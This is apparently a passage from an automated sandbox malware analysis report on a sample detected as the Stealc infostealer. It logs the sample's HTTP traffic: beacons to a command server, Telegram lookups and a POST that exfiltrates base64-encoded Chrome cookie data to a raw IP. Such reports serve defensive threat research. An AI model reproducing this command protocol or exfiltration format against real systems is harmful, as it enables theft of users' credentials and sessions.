Aug 28, 2024 22:56:37.999070883 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 28, 2024 22:56:38.056127071 CEST	1009	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFBFHIEBKJKFHIEBFB Host: 147.45.68.138 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 34 35 35 63 31 62 31 61 62 61 65 33 35 37 63 62 35 30 63 34 31 35 66 61 32 30 62 32 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 [TRUNCATED] Data Ascii: ------KFCFBFHIEBKJKFHIEBFBContent-Disposition: form-data; name="token"89455c1b1abae357cb50c415fa20b20d------KFCFBFHIEBKJKFHIEBFBContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------KFCFBFHIEBKJKFHIEBFBContent-Disposition: form-data; name="file_name"Q29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KFCFBFHIEBKJKFHIEBFBContent-Disposition: form-data; name="file_data"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------KFCFBFHIEBKJKFHIEBFB--
Aug 28, 2024 22:56:38.645364046 CEST	178	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49712	172.67.146.35	443	4800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:55:16 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: condedqpwqm.shop
2024-08-28 20:55:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-28 20:55:16 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zSxMg3JpFbCtnk7g6xKiWZhBz9uLVXelrW2teQJLPhF6GcRJ17s9efbB8vaUlwdntjyrHkUAIHUSUo0VFOZt7PFpIiFoohSImpJrC%2BjLfx1ClrPcozetWJJ%2BO4oMBI8R4PLW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba73388cd4c7c7b-EWR
2024-08-28 20:55:16 UTC	826	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-08-28 20:55:16 UTC	1369	IN	Data Raw: 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 6c 65 72 74 Data Ascii: s.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert
2024-08-28 20:55:16 UTC	1369	IN	Data Raw: 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 6b 78 4e 70 67 7a 43 48 49 51 58 2e 52 47 43 41 73 62 79 50 70 65 61 38 56 51 38 7a 54 71 50 52 5a 4c 6d 79 32 46 69 57 63 43 34 2d 31 37 32 34 38 37 38 35 31 36 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 Data Ascii: <input type="hidden" name="atok" value="kxNpgzCHIQX.RGCAsbyPpea8VQ8zTqPRZLmy2FiWcC4-1724878516-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="bac
2024-08-28 20:55:16 UTC	841	IN	Data Raw: 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c 2f 73 70 61 6e 3e Data Ascii: ">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span>
2024-08-28 20:55:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49715	172.67.146.35	443	4800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:55:17 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=kxNpgzCHIQX.RGCAsbyPpea8VQ8zTqPRZLmy2FiWcC4-1724878516-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: condedqpwqm.shop
2024-08-28 20:55:17 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=
2024-08-28 20:55:17 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:55:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fed0kegdabhgsvavdehimcb1ph; expires=Sun, 22-Dec-2024 14:41:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F%2BvCosQnnJqpGK6Bq6WW%2FaKah3shv98rEYmhWtSea16aFUSS%2FSFUisHu%2BvW7D3Y01sF1pTPNEaptj4R4e9llvYVuu8F5fz5ejwmQCLHW1oqbEhndonZ3tLkoP%2FnpgJsMTeYZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba7338ddd6a8c0c-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 20:55:17 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-28 20:55:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49730	149.154.167.99	443	3180	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:55:47 UTC	86	OUT	GET /jamelwt HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-08-28 20:55:47 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 28 Aug 2024 20:55:47 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12327 Connection: close Set-Cookie: stel_ssid=c502aee2533efa76c5_13289933752292435604; expires=Thu, 29 Aug 2024 20:55:47 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-08-28 20:55:47 UTC	12327	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6a 61 6d 65 6c 77 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @jamelwt</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49735	172.67.146.35	443	3168	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:56:06 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: condedqpwqm.shop
2024-08-28 20:56:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-28 20:56:06 UTC	549	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:56:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7a847B%2FBVNw7EPcQ%2BfhNQkP99HdR3h53VDV5GJpUKl3X1iktRCJseWXUhzzoBqmlTyL6oR66ALNELjvyd3fxKm4gR%2By2hqf%2FdDJHDLuAPI4v6POPu%2FHs2CYoRDZ0gBJafc0M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba734c28da44205-EWR
2024-08-28 20:56:06 UTC	820	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-08-28 20:56:06 UTC	1369	IN	Data Raw: 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 Data Ascii: .errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie
2024-08-28 20:56:06 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 5f 58 4f 51 62 55 68 51 72 4a 36 4c 31 78 76 47 4f 2e 42 4c 67 4d 51 4d 62 4c 5a 4a 38 75 5f 73 48 65 2e 35 57 6b 7a 32 5f 70 6b 2d 31 37 32 34 38 37 38 35 36 36 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c Data Ascii: <input type="hidden" name="atok" value="_XOQbUhQrJ6L1xvGO.BLgMQMbLZJ8u_sHe.5Wkz2_pk-1724878566-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" styl
2024-08-28 20:56:06 UTC	847	IN	Data Raw: 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c Data Ascii: hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a><
2024-08-28 20:56:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49736	172.67.146.35	443	3168	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:56:07 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=_XOQbUhQrJ6L1xvGO.BLgMQMbLZJ8u_sHe.5Wkz2_pk-1724878566-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: condedqpwqm.shop
2024-08-28 20:56:07 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=
2024-08-28 20:56:08 UTC	798	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 20:56:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=td9qp4kld2peb0psvdpen7vhth; expires=Sun, 22-Dec-2024 14:42:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BfeCCzIIGpPmaB9%2BeZvB4Y5M6Ujh%2BJJuGsqWulXx%2BKYYs4TaDnMXFnokgLf6LgYivUEuVMosOhOk6cispGBYhMWAncWnnlwoOqozqFZZfc7KOiZhCPTQU8aA4hUswtMD7gV6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba734c79cee6a58-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 20:56:08 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-28 20:56:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49740	149.154.167.99	443	3916	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:56:32 UTC	145	OUT	GET /jamelwt HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=c502aee2533efa76c5_13289933752292435604
2024-08-28 20:56:33 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 28 Aug 2024 20:56:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12327 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-08-28 20:56:33 UTC	12327	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6a 61 6d 65 6c 77 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @jamelwt</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Target ID:	0
Start time:	16:55:00
Start date:	28/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xee0000
File size:	212'008 bytes
MD5 hash:	8E41D2107579AFB2911DCCFFEAB97F1C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:55:00
Start date:	28/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:55:01
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd90000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1384359989.000000000140A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:55:14
